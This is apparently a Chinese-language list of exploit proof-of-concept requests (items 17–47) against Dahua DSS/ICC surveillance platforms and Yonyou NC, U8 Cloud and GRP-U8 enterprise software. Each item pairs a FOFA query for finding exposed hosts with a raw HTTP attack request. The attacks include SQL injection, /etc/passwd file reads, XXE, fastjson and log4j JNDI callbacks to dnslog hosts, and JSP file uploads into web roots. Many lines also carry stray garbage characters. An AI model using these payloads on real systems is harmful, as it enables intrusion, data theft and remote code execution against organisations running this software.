User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
' ~  Z5 J2 i& X- ~Connection: close
6 |- r. g! O" ^$ @2 vAccept: */*
$ R1 L5 x4 W) \Accept-Language: en
Accept-Encoding: gzip


17. 大华 DSS itcBulletin SQL 注入
$ d0 N' D" N) H+ DFOFA：app="dahua-DSS"
: F/ w( z3 |( H* U% kPOST /portal/services/itcBulletin?wsdl HTTP/1.1
$ S+ r* x0 G: B0 J" T1 zHost: x.x.x.x
" N- I$ b0 L% q3 M6 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- v  Q3 p5 m9 LConnection: close
Content-Length: 345
: ]2 x! F" K, @% c( g- H  p% |Accept-Encoding: gzip
6 e7 @7 L- x1 K5 Q+ Q
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
% G: _8 n1 J! J8 G9 R0 E    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
0 K2 f, Q5 U7 N% z      <netMarkings>
& U' k6 s  z" \8 O- z) b       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
: {. b, W7 Z; C& j, x4 p! `( d      </netMarkings>
( d9 C# f5 v' g5 q6 V, z4 a    </ns1:deleteBulletin>
! h2 F3 w7 ]; d. Y3 n  </s11:Body>
</s11:Envelope>
: M9 e2 X" m' a$ g

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
) {+ q* }2 q- N, e2 a: N) aFOFA：app="dahua-DSS"
* T% T" U0 D  ]/ l! T  jGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
* j$ F* |! P$ O2 S/ j" z  N! hConnection: keep-alive
+ b& u, p4 ?7 a$ L& x) {


19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
9 s$ p4 i7 O9 X* k1 x; ?FOFA：app="dahua-DSS"
- P' S6 J6 a5 I: W2 T1 r$ K" pGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
; o8 w% \# Y" C# y+ c& nHost:
8 t4 I& l2 R. [6 \# YUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
: L6 g. U0 H0 q* Q( ]' A1 j

6 X: m( b8 d4 W- C; f20. 大华ICC智能物联综合管理平台任意文件读取
6 _9 z% k4 m# o/ C6 M' c0 JFOFA：body="*客户端会小于800*"
% G% l% V% b4 H5 ~" |GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
' Y2 s* G; f  {7 n: x$ {Connection: close
Accept: */*
Accept-Language: en
  G% u9 S( O0 N. V6 a" {) l% WAccept-Encoding: gzip

/ @! D" O( J: Y1 H7 i
- [$ _, i3 G& h- W1 q. x! S21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
9 {( g5 W5 @8 i3 f) uPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 t( Q6 f' s7 H; r9 ^; ]9 t2 vContent-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8

( ~* o2 X& K, x{
"a":{
$ c# L, O' E5 x5 H# g4 K) I6 R9 K   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
+ W3 z. F$ w% X; Y  }""
% d1 O4 q2 J/ M; z/ Z}
4 Z7 C; I% ^; t/ t- H! ?
% a6 E$ D6 k* b6 f* B0 u
- j6 P3 f# G8 _* B0 ]" f22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
" M0 p) h9 v1 W, h9 ]3 \" r8 BPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
, J* Y/ X) {% S+ aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ c7 _' y0 @$ A5 m  K9 pContent-Type: application/json;charset=utf-8
+ u& N. _' f/ m9 \0 {; R
{
"loginName":"${jndi:ldap://dnslog}"
}
9 [0 B* Z, E4 ?% l& e% m/ T7 U
% c+ `. h: u: C% |; j' @

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
: k# \' ~4 v" o- Y0 c: b: V1 c# yPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
8 {6 H- M0 Q' R9 aAccept-Encoding: gzip
Connection: close

{
; y! S* F6 p$ c0 H    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
( A9 I/ V# {, B8 L% R
2 X  ?1 O. e+ m$ I) ]. X! Q( W
6 h4 |, p# k, E$ x! @/ n. Y24. 用友NC 6.5 accept.jsp任意文件上传
0 }* Q& z) W: _/ |1 N2 k1 TFOFA：icon_hash="1085941792"
; k* S% J6 {: G' H9 ]POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
! ^/ r' R* A1 _/ y0 iUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
: j" Y8 l4 n, |) Y8 C; g* b  LContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
! s( Q$ {% O, {
' c! j# p. j, s' E$ k8 W-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

& G0 j: y0 o7 L1 ?  [<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

; r$ O+ @# e; Z0 `\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
4 t# B2 g+ f) a" W-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

0 n& b# \) n! @1 v6 d" R
25. 用友NC registerServlet JNDI 远程代码执行
; s1 Y0 J8 r( I- }0 S9 G+ fFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
7 {7 P+ ]( v+ r0 A) PAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
6 f  S2 H" J1 R: ?9 R2 X' P
type=1&dsname=ldap://dnslog



26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
7 ?0 b3 l6 |$ e* A) }$ e" RGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
: K8 H% w: f& N/ z9 H* C/ dHost: your-ip
8 M6 S- z$ c9 j. N& U1 d8 L3 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 o" z3 n4 P- ]6 j0 ^Content-Type: application/x-www-form-urlencoded
0 I/ v. r" {+ L$ K6 q8 t5 mAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
4 u+ L' A! @: b% Z3 M( F

: l. _% k( P- @9 r7 K' F  |$ e& V27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
( z! N: W- U, o* |7 t5 G% I$ pHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) T2 {+ s0 B6 v* Y1 B- D: V" h- qAccept-Encoding: identity
Connection: close
: U8 g9 y7 V! g/ T" Q+ DContent-Type: text/xml; charset=utf-8
, p5 m9 i7 P  I& W
; `( X& p' D, R/ {( z
" j6 s- `( [7 K( A' n28. 用友NC grouptemplet 任意文件上传
) O$ J4 s5 B6 ^1 @( t) Y/ kFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
0 o' {& g9 ~- P8 `4 f. DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
1 ?5 l- l% ~) m$ \, X' RConnection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
6 k2 f- |) v+ zAccept-Encoding: gzip

------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
. G" [5 S3 F3 ~6 S& AContent-Type: application/octet-stream

! @3 m# G9 ?' }<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
  z2 R- x# s/ w+ l6 B5 S% q4 _/ l( r, m------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
/ |- B- }6 _/ x

/uapim/static/pages/nc/head.jsp
; @4 [5 V) C8 d6 b* y
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
  P* d5 Z) }3 }. v: e0 oGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 n& W3 `3 |3 [& b' WContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
2 G: F3 v5 n' k$ ~2 f
: p/ S; r7 y" n, [: r  v
30. 用友NC importPml SQL注入
  ~! m7 |& m. D) s) u: yFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
  n0 y6 m: A( X! ~8 W2 q$ ZHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
+ f/ M' ~/ a' a2 ?5 V8 F- x8 x% ?Connection: close
& g' B8 r1 S, [: t' e  |
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

8 l# q2 o- u$ p- W
# q0 p3 ]/ v/ Y31. 用友NC runStateServlet SQL注入
* ~- x( o, P- [, I4 q  f, I* d7 Vversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 Q$ i0 w0 G4 u9 ]7 T# r$ F% VHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  M' T) g9 O/ D' X4 a

32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
) N/ |% q8 p: b( b' ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- l, g. q/ L" K; L) n& RContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
" l4 P8 [) k& D0 {! w& m

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
8 k% f5 a8 B3 YGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
, Z- s# q& w- G9 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 d$ M  Z* n3 S7 t/ f: yContent-Type: application/x-www-form-urlencoded
! G( F' I  n. f) A( W, p7 XAccept-Encoding: gzip, deflate
3 ~4 X& G3 p7 F( e& h; ~+ QAccept: */*
) B. c6 M7 J9 jConnection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  l1 c0 y" M5 m7 ?% g9 T& y# gContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
) m+ Z, O0 `  ~' S1 PAccept: */*
Connection: keep-alive
# ^7 q+ i( q& H- Z* g% \5 x+ K
0 U; p1 K: u- e* K1 v
% C+ X. l. L" I9 R& G35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
7 u! Y( L4 g8 }- P% b& R  T3 EPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
) l; H* d6 L! H( Y' [. eHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
6 ^  M% w; V- p$ I1 aAccept: */*
/ g$ i4 @2 X6 [( I: JConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
; s4 v+ o- [( ^, R
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
$ }. t% ]/ x1 Q
<%out.println(1111*1111);%>
/ C6 K% w% \4 J0 T4 `6 r--fd28cb44e829ed1c197ec3bc71748df0--
9 ~% d( n9 y% U) z
: j3 E( V7 N2 t: x3 @
1 U/ {2 L, K- _7 Q; ~36. 用友NC-Cloud soapFormat XXE
- b8 n/ I* w9 \4 QFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
! r& j  K. A( c/ I( XHost: 192.168.40.130:8989
8 b$ F) v2 E* G9 N5 q& l2 m. ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
4 D, f  M* b6 r5 N* W4 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 G! \  \- p) ]. e# S7 ^; B2 jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
( m% \/ x. ?5 R- f" {1 U6 LContent-Type: application/x-www-form-urlencoded
# {. \) W( O) @0 P. m# A+ \2 O+ iUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
3 l5 w; i9 n) d6 D0 `- U# F" ?
; G# j! D! R  M7 X, }
" A9 D5 P! b4 ~7 Z; b37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
  O' b: ^# {# ^$ _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
3 s9 p& B! g% V+ e% j! L& [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) W6 J9 [- i, f! L8 Q# {$ YConnection: close
& A* R# t7 n$ j/ F6 i0 fContent-Type: text/xml;charset=UTF-8
) N+ |) l- p' S4 YSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
8 C1 w+ w3 I, [  w, [0 _6 W
6 S+ A6 V( ?# X! s) a9 G- p<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
* ?0 G% \+ a; Y) O- H<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
" l' x( O  X0 O3 E<!--type: string-->
7 x2 J9 J. a) b' T2 v5 W4 W2 K. v<iup:string><![CDATA[
( b0 x% }6 v/ b6 e0 B<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
+ {, @; b" B$ a7 G( T<xxx/>]]></iup:string>
) v- i! m3 Z1 |- O' t, ]</iup:getResult>
</soapenv:Body>
8 Z3 h% S3 }+ g, `</soapenv:Envelope>


1 \1 ?( w1 w/ i; T. u9 W! k
38. 用友U8 Cloud smartweb2.RPC.d XXE
. l2 j$ X. C! X- tFOFA：app="用友-U8-Cloud"
: ~( _8 |' M4 y- S' a% VPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
5 b7 I: {# f9 l8 S( dHost: 192.168.40.131:8088
; o2 t% F' W$ }  f' A0 F0 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
: C  _4 W5 w* B+ M5 F! AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
& Z0 ^0 S3 Q3 [3 [Accept-Encoding: gzip, deflate
* C9 f+ c& S1 j" GAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
( I+ [4 j2 T" Q
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
2 A9 c: P* R' A4 g2 ?3 p

39. 用友U8 Cloud RegisterServlet SQL注入
% D; h" k8 }& _1 k  ]$ [FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
; w/ I" K% }$ u$ ]% n8 oHost: 192.168.86.128:8089
; X* e8 i- B" H: J# e6 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
3 Q! J$ F4 B' P9 MConnection: close
  z1 e) m5 F# v% R1 H0 q  `5 N# eContent-Length: 85
* n1 ^# N0 `2 u- e6 T4 Q3 yAccept: */*
3 u  Z' [! l/ p# g$ w3 s, {/ }$ DAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
1 P8 U' a/ R/ w0 ^0 h6 xAccept-Encoding: gzip
) L; f) i. L+ o7 _' f3 k
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

8 r9 z3 b8 r, b1 u! O% b+ v, p
40. 用友U8-Cloud XChangeServlet XXE
: D, c3 W5 [* B; j! n' X' jFOFA：app="用友-U8-Cloud"
& j  P( n+ m4 x( y5 m0 GPOST /service/XChangeServlet HTTP/1.1
3 V. G% r( s9 l, |7 vHost: x.x.x.x
9 N' n" U+ L, A6 G1 H0 O5 {User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- L8 W" S3 B" m4 M; JContent-Type: text/xml
' M0 ^' Y3 a$ N3 `Connection: close

; f0 W+ e5 W* s& G5 R) F6 K+ L<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
  P' J8 \5 y* ]
. `# u6 Z1 r4 n' ]( d# Z) ?- l
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
" D) {1 h' C& YFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
1 R3 L2 D. ^7 I- {# I( g6 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
8 n. R9 w. d8 F& j& l( ?Accept-Encoding: gzip
Connection: close

; N  X, O, \) ?
42. 用友GRP-U8 SmartUpload01 文件上传
7 E# v2 {. X7 g1 D+ m- C7 Z# GFOFA：app="用友-GRP-U8"
5 j, r) T9 T: N  f# e; EPOST /u8qx/SmartUpload01.jsp HTTP/1.1
5 Y' D; w3 X2 Q% ?) KHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
, L& s7 |& Y8 D& x$ a9 e, K' p

: Y/ Y+ {: f. D8 I# ^http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
0 y9 ^7 |( l+ I/ b. R
9 }0 f" o& [! Z5 }& I43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
% Z" @3 y% P$ R9 x5 {$ zPOST /services/userInfoWeb HTTP/1.1
6 s7 @9 L' A2 C1 A8 C* LHost: your-ip
  |3 b* y% }( `9 d5 ~# ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& Z$ k; E- @. f9 K' d; y* EAccept-Encoding: gzip, deflate
# u  o9 h2 {, F. @) aAccept-Language: zh-CN,zh;q=0.9
& Q/ S8 w- d' j" p+ ?Connection: close
SOAPAction:
$ P  ~6 R" a/ ^6 x% z! R  D; a8 IContent-Type: text/xml;charset=UTF-8
5 f% E/ ?$ }6 K
; F1 ^: ~' ]+ o& W8 `<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
  O+ a# P& X: ?8 V6 F$ s: F, ]   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
- X( J) L, ?1 T, m" P         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
( B6 U8 L2 k1 b2 v$ [5 h* A      </ser:getUserNameById>
& e5 ~3 l! Z: |/ w' b! x   </soapenv:Body>
</soapenv:Envelope>
% S. @7 t; n/ h7 A# P; f

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
. z# u+ N# I2 b" ^& DFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
) D3 c# k2 }! F, x4 f, ^$ THost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 [  F" k! v- GAccept-Language: zh-CN,zh;q=0.9
, M( }8 p. Y4 u. rConnection: close
+ v& w7 d$ C6 ~6 S8 d

45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
8 k  c+ _( a) T6 KHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
$ x' [7 M, V. q6 }1 O5 C/ s* |Connection: close
: W& P2 x4 v& Y4 j: oContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
. }4 @; H+ \$ n8 m+ D3 j8 ~Accept-Encoding: gzip
1 r: G0 }2 j- q6 p7 i; B7 }; {- E
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
0 u$ j. L( G! k/ ~+ Y" o, L; n: U
1 x, J6 ^0 |7 T$ u% ]9 L* ^0 L0 n
4 f5 ?7 o" l1 S- W( Z# x# B46. 用友GRP-U8 sqcxIndex.jsp SQL注入
, E( m- T5 |0 }( T& MFOFA：app="用友-GRP-U8"
9 I' ]8 X7 ?2 I; u* y9 O: ~GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
2 e2 H2 E3 _! M: r% I" MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
/ O$ l3 ^$ o4 k( }; u! FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 n5 e: \' ?, i5 d, ]0 l* z: h/ B+ WAccept-Encoding: gzip, deflate
5 \/ j3 N! O) g7 kAccept-Language: zh-CN,zh;q=0.9
% {& }) d, f* g4 z' k5 TConnection: close
6 C3 W: Y1 N3 Q
$ \8 Z0 m# N' l& X, W
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
! B% Q$ X6 }5 W2 \GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
$ `8 k- @& q1 k0 O) {Host: x.x.x.x
Cache-Control: max-age=0
9 j; ^1 S; r; l2 G, {Upgrade-Insecure-Requests: 1
